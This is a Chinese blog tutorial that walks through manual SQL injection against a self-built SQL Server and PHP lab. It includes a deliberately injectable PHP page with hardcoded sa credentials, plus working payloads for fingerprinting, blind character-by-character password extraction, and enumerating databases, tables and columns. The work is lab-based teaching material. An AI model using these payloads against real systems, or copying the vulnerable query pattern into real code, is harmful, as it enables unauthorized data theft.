美文网首页
对SQL Server 数据库的手动注入

对SQL Server 数据库的手动注入

作者: CSeroad | 来源:发表于2018-04-04 13:59 被阅读22次

根据需要,对之前安装成功的sql server数据库和php进行连接,进行注入测试,自己搭建测试环境

实验环境:

虚拟机windows下的sql server数据库环境

实验源代码:

<?php

header("Content-type:text/html; charset=gbk");

$serverName = "127.0.0.1"; //数据库服务器地址

$uid="sa";

$pwd="123456";

$connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"demo");

$conn = sqlsrv_connect($serverName, $connectionInfo);

if($conn == false){

echo "连接失败!";

var_dump(sqlsrv_errors());

exit;

}else{

//echo "链接成功"

//$sql = "select * from users where  id='".$id."'";

$sql = "select * from users where  id=".$id;

echo $sql."<hr/>";

$result = sqlsrv_query($conn,$sql);

if(empty(sqlsrv_errors())){

while($num=sqlsrv_fetch_array($result)){

print_r($num['name']);

}

}else{

$error=sqlsrv_errors();

echo $error[0][2];

}

sqlsrv_close($conn);

}

?>

在sql server  数据库中建立users表,添加字段、数据后

进行测试,在本机上进行访问

基本注入

首先是整数型的注入

返回正常 返回不正常

1=1正常,1=2不正常,判断有注入点

进行注入

返回正常

通过判断有无sysobjects表,(每个数据库都会系统创建sysobjects表),来判断是否是sql  server 数据库

返回正常,为sql  server  数据库

爆出数据库版本 当前数据库名称

如果是字符型呢?sql语句需要进行修改

$sql = "select * from abc where  id='".$id."'";

继续进行字符型注入

本地服务器名称

同样的道理

判断系统管理员 判断为库权限

进行一些基本的判断

获取数据的注入

通过报错注入

通过having子句获取当前表和列,然后进行递归获取所有

user.name user.password 返回正常

证明当前有三个字段

进入数据库,进行验证

再次注入,获取password中的数据

通过unicode编码

通过把每一位的unicode编码遍历出进行数值比较大小,也方便使用二分法

注入语句为:

and (select top  1  unicode(substring(password,1,1)) from users)>=49

and (select top 1    unicode(substring(password,2,1)) from users)>=50

遍历出结果:49,50,51,52,53,54--------1,2,3,4,5,6--------123456

猜解第二列,也是同样的道理

可以总结:

and (select top 1 id,unicode(substring(字段名,第几个字母,1))  from  表名)  where  id  not in (1)

通过not遍历多少条数据

and (select top 1 unicode(substring(字段名,第几个字母,1))  from  表名)>0

这样,数据库中的demo该表的全部信息都能获取

获取其他数据库信息的注入

获取其他数据库

注入语句为

1'  and  (select top 1 name  from  master..sysdatabases)>0 -- '

将该注入语句放在sql  server数据库中进行分析

SELECT  Name  FROM  Master..SysDatabases  ORDER  BY  Name

分组查询 查询结果

通过where条件可以获取所欲数据库名

demo数据库

语句为:

id=1'  and  (select top 1  name  from  master..sysdatabases  where  name  not  in  ('master')  order  by name)>0 -- '

获得demo数据库,再次注入获取数据表

获取users表

语句为:

id=1'  and  (select top 1 name from  demo.sys.all_objects  where  type='U'  )>0  --'

有了demo数据库,users数据表,到了获取字段

获取id字段

语句为:

id=1'  and  (select top 1 COLUMN_NAME from demo.information_schema.columns  where TABLE_NAME='users') >0 --'

继续获取第二个字段,通过where子语句

获取name字段

语句为

id=1' and  (select top 1 COLUMN_NAME from  demo.information_schema.columns  where TABLE_NAME='users'  and  COLUMN_NAME  not  in  ('id') ) >0  -- '

知道数据库名称,表,字段,进行获取数据

获取数据

还可以跨表查询,在sql  server数据库中新建一个数据库manager,表名为message

查询数据

语句为

id=1'  and 1=( select  top  1  name  from  数据库名.dbo.数据表名)

相关文章

  • 对SQL Server 数据库的手动注入

    根据需要,对之前安装成功的sql server数据库和php进行连接,进行注入测试,自己搭建测试环境 实验环境: ...

  • sql server注入

    Sql server数据库注入 Sql server数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发...

  • SQL手工注入漏洞测试(Sql Server数据库)

    和mysql 注入有些不同,union select 无法使用,Sql Server数据库只能用 union al...

  • SQL注入

    可能存在SQL注入的地方? 与数据库有交互,一般都存在注入 判断条件: 参数用户可控 参数可带入数据库查询 手动注...

  • 常见web server攻击

    安全 -- 关注web server层面, 没办法防止硬件方面的攻击(如DDOS) SQL注入: 窃取数据库的数据...

  • SQL Server和的MySQL区别

    数据库服务器,比较典型的就是SQL Server和MySQL 什么是SQL Server? SQL Server ...

  • Django 常见Web攻击

    1、sql注入攻击与防范 sql注入是黑客攻击数据库最常用的手段。sql注入的危害: 非法读取、篡改、删除数据库中...

  • SQL手动注入

    一.本文介绍 1、本文介绍手动联合查询注入、information_schema注入、函数报错注入、insert注...

  • 代码安全

    PHP 常见的安全情况: SQL 注入 XSS 攻击 关于 SQL注入 大部分是因为对写入数据库的数据没有进行验证...

  • 小迪16期-20170305

    第三天:Sql注入技巧篇 1.Sql注入之access注入 access数据库结构数据库表名数据库列名数据 1.a...

网友评论

      本文标题:对SQL Server 数据库的手动注入

      本文链接:https://www.haomeiwen.com/subject/abkkhftx.html